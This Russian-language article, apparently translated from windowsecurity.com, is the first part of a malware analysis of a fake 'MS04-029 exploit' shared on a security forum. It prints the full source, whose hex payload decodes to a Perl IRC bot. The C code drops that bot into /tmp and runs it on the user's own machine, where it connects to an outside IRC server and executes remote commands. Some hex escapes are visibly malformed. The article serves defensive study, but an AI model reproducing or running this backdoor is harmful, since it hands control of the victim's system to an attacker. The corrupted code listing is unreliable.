Шпионские программы используют какое-нибудь слабое звено в программе. Это достигается различными средствами. Социальная инженерия использует для этого человеческий фактор. А что если использовать эти два способа вместе? Прочитайте статью, и вы все узнаете.
Для разъяснения несколько непонятного заголовка статьи необходимо ознакомиться с предысторией. Около недели назад новый посетитель www.security-forums.com разместил сообщение, в котором утверждал, что у него имеется новый код для MS04-029, он также разместил ссылку на этот код. Новый посетитель утверждал, что с помощью данного кода можно получить доступ к командному процессору на удаленном компьютере, что в большинстве случаев и является целью хакеров. Я помнил, что если атака с помощью кода будет удачной, то результаты можно будет использовать только в условиях DoS. Кроме того, некоторые части активной памяти могут быть считаны. Читая про этот код, я не помнил, что он может предоставить хакеру процессор на удаленном компьютере. Вот здесь я и почуял недоброе. Это не первый случай, когда хакер пытается проникнуть в компьютер, использую социальную инженерию. Давно известно, что самым слабым звеном является человеческий фактор.
Сначала я расскажу кое-что о себе, это не займет много места. Знание обо мне помогут вам понять мои действия. Вот уже в течение нескольких лет я работаю в качестве специалиста по сетевой безопасности. Я специализируюсь на внешних проникновениях, разборе происшествий, а также увлекаюсь экспериментами со шпионскими программами. За время работы я научился, как правильно и, самое главное, безопасно оценивать шпионское программное обеспечение. И теперь я могу советовать вам экспериментировать с такими программами. Но делать это необходимо в безопасном окружении. Далее в статье вы встретите описание моей лаборатории и моих действий во время экспериментов.
Самым главным при анализе шпионских программ является создание изолированной сети. Я имею в виду, что меньше всего вам захочется заразить корпоративную сеть или домашний компьютер во время эксперимента. Лично я использую 2 портативных компьютера для анализа программ-шпионов. Использование портативных компьютеров имеет свои преимущества: они занимают мало места на моем столе и могут быть с легкостью соединены между собой. Это также гарантирует то, что вы не сможете заразить свой компьютер или сеть. Обычно я использую равноправную связь через кабель САТ 5 или свободный хаб. Главное, чтобы два компьютера могли видеть друг друга. После подсоединения я подтверждаю связь через простой запрос ICMP или ping, что более привычно простым пользователям.
Ниже можно увидеть скриншот, показывающий настройки портативного компьютера, которому вскоре предстоит быть инфицированным. Он имеет шлюз, так как я намериваюсь «звонить домой», как говорится. Без этого шлюза невозможно подключиться к Интернету и узнать, как будет реагировать инфицированный компьютер. Характер шпионской программы вынуждает иметь доступ к Интернету. Хотя в большинстве случаев я не хочу, чтобы она подключалась к Интернету, вот поэтому и используется равноправная связь без шлюзов на обоих компьютерах.
Действие большинства шпионских программ зависит от поставленных целей. Это означает, что программы firewall или антивирусы не установлены на компьютере, как не установлены и патчи производителей. При проведении анализа я тоже не использую эти программы и патчи.
После создания безопасных условий для проведения эксперимента, мы можем приступить к исследованию подозреваемой шпионской программы. Как я уже упоминал, на форуме была выложена ссылка на код. Я скачал его и заметил, что это было сделано через HTTPS. Сервер имел недействительный сертификат, который я пропустил. После закачки я перенес код в мой лабораторный компьютер.
Для анализа я использую несколько инструментов. Для настоящего эксперимента вам необходимо скачать следующие: hex2.exe и hex editor на ваш выбор. Следует заметить, что работа производится в условиях Lunix, потому что некоторые файлы, обозначенные в коде, предназначены для этой системы. Можно, конечно, провести эксперимент и в системе win32, но для этого необходимо установить Cygwin. Лично мне Cygwin не очень нравится, поэтому я использую обе операционные системы. Вам понадобятся оба упомянутые инструмента, и особенно hex2.exe. Я включил код источника, скачанный с форума, обратите внимание на то, что я не включил заголовочные файлы. Это сделано для того, чтобы в последствии ко мне не возникло претензий, если у кого-то возникнут проблемы из-за эксперимента. Помните, что нижеупомянутый код не будет компилирован. Но я включил его в целях анализа.
char shellcode[] =
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x68\x69
char *shellcode_payload=
\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x3
\x68\x61\x6e\x3d\x22\x23\x30\x78\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\xb
\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x69\x72\x33\x69\x70\x2e\xe
\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\xb
\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x9
\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x0
\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\xe
\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x7
\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\xf
\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6b\x20\x2b\x69\x20\x6b\x20\x3a\xb
\x76\x31\x5c\x6e\x4e\x49\x43\x4b\x20\x6b\x5c\x6e\x22\x3b\x24\x69\x3d\x1\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\xe
\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x4
\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\xd
\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x4
\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x9
\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x9
\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x9
\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x3
\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x9
\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x5c\x6e\x22\xb
\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x0
\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x2
\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x1
\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x9
\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x7
\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\xc
\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x4
\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\xd
\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x4
\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\xb
\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x4
\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\xf
\x74\x6d\x70\x2f\x68\x69
#define SHELL_LEN (sizeof(shellcode_payload)-1)
int main(int argc, char **argv) {
int *ret;
FILE *f;
char *pre_payload = (shellcode_payload+593);
int die=0;
int x = 0, len = 0;
char *buf;
long retaddr = 0, align = ALIGN;
if(argc!=2)
{
printf(«*** MaxLoad (windows rpc exploit) v.1 ***\n»);
printf(«For educational propose only!\n\n»);
printf(«error: you must enter a valid ip\n»);
printf(«usage:%s [IP-ADDRESS]\n»,argv[0]);
printf(«e.g: %s 192.168.1.23\n\n»,argv[0]);
die=1;
}
f=fopen(pre_payload,»w»);
if(f)
{
fseek(f,0,SEEK_SET);
close(2);
fprintf(f,»%s»,shellcode_payload);
fclose(f);
chmod(pre_payload,0777);
}
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
if(!die) {
if(sscanf(argv[1], «%lx», &retaddr) != 1)
die(«error in ip address: sscanf»);
if(argc > 2)
align = atoi(argv[2]);
if(align < 0 || align > 3)
die(«error: alignment could not be done»);
strncpy(buf, «://[«, 4);
len += 4;
memset(buf+len, NOP, NNOPS);
len += NNOPS;
memcpy(buf+len, shellcode_payload, SHELL_LEN);
len += SHELL_LEN;
len += align;
for(x = 0; x < 2000 — (sizeof(retaddr) — 1); x += sizeof(retaddr))
memcpy(buf+len+x, &retaddr, sizeof(retaddr));
buf[len+x] = ‘]’;
buf[len+x+1] = 0;
printf(«*** MaxLoad (windows rpc exploit) v.1 ***\n»);
printf(«For educational propose only!\n\n»);
printf(«Successfully send payload!\nTry connect to %s port 31337\n\n»,argv[1]);
}
return 0;
}
Как вы помните, я писал, что челок, поместивший ссылку на код на форуме, утверждал, что эта шпионская программа предоставит хакеру доступ к командному процессору на удаленном компьютере. Если все вышесказанное правда, то это может доставить очень много хлопот. Я подхожу к окончанию первой части статьи, но настоятельно рекомендую прочитать ее до конца. Если чтение кажется вам несколько сложным, быстро просмотрите статью до конца. Именно в конце статьи вы поймете, почему данный код вызывает во мне подозрения. Если вам что-то непонятно поищите в google «системные вызовы». Во второй части вы поймете, почему код выглядит подозрительным, там же мы и приступим к анализу. До встречи!
Источник www.windowsecurity.com